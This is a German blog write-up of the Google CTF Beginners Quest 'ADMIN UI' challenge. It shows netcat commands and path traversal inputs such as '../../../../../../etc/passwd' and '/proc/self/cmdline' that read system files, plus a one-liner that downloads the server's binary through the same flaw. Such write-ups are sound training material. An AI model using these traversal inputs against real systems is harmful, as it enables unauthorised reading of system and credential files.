Google CTF – Beginners Quest – ADMIN UI

2018-07-07 von Mario

Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein “Flag” in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.

 

Challenge “Beginners Quest – ADMIN UI”

 

Analyse

Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.

nc mngmnt-iface.ctfcompetition.com 1337

Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

 

Bei der Option “1” wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.

Please enter the backdoo^Wservice password:

Die Option “2” stellt ein weiteres Menü bereit:

The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?

 

Mit der Eingabe “Version0.3” erhalten wir die Patchnotes:

# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.

Mit der Eingabe “Version0.2” erhalten wir die Patchnotes:

# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX

 

Let’s go hacking

Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.

Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt “4”, “0”, … usw. ausprobiert. Was keinen Erfolg brachte.

 

Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:

Error: No such file or directory

Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.

 

Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den “Dateinamen” oder “Pfad/Dateinamen” zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:

./Version0.3

Daraufhin wird die Datei Version 0.3 angezeigt.

# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:

../../../../../../etc/passwd

Ausgabe

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...

Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.

 

Weitere Informationsbeschaffung

Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels

/proc/self/cmdline

wird der aktuelle Prozess angezeigt.

  1. Verbinden mit Netcat
  2. Menüpunkt “2” aufrufen
  3. Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline

Ausgabe

./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

Der Name der laufenden Applikation lautet “main”.

 

Programm herunterladen

Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.

echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument Beschreibung
echo Der Befehl “echo” gibt einen Text aus.
e Der Parameter “e” sorgt dafür, dass das Sonderzeichen “\n” interpretiert wird (Enter/Newline).
| Mit der Pipe “|” wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet.
> Mit “>” werden alle Ausgaben in eine Datei “admin_ui_file” gespeichert.

 

Nach ca. 10 Sekunden mit “STRG + C” den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…

 

Reverse Engineering

Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.

Mit dem String “patchnotes” ergab die Suche einen interessanten Treffer.

Final Step

Im Ordner “patchnotes” liegt eine Datei mit dem Namen “flag”, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt “2” wählen und bei der Eingabe “Which patchnotes should be shown?”:

../flag

eingeben. Als Ausgabe erhalten wir unser Flag. :)

CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

 

Kategorie: IT-Security Schlagwörter: , ,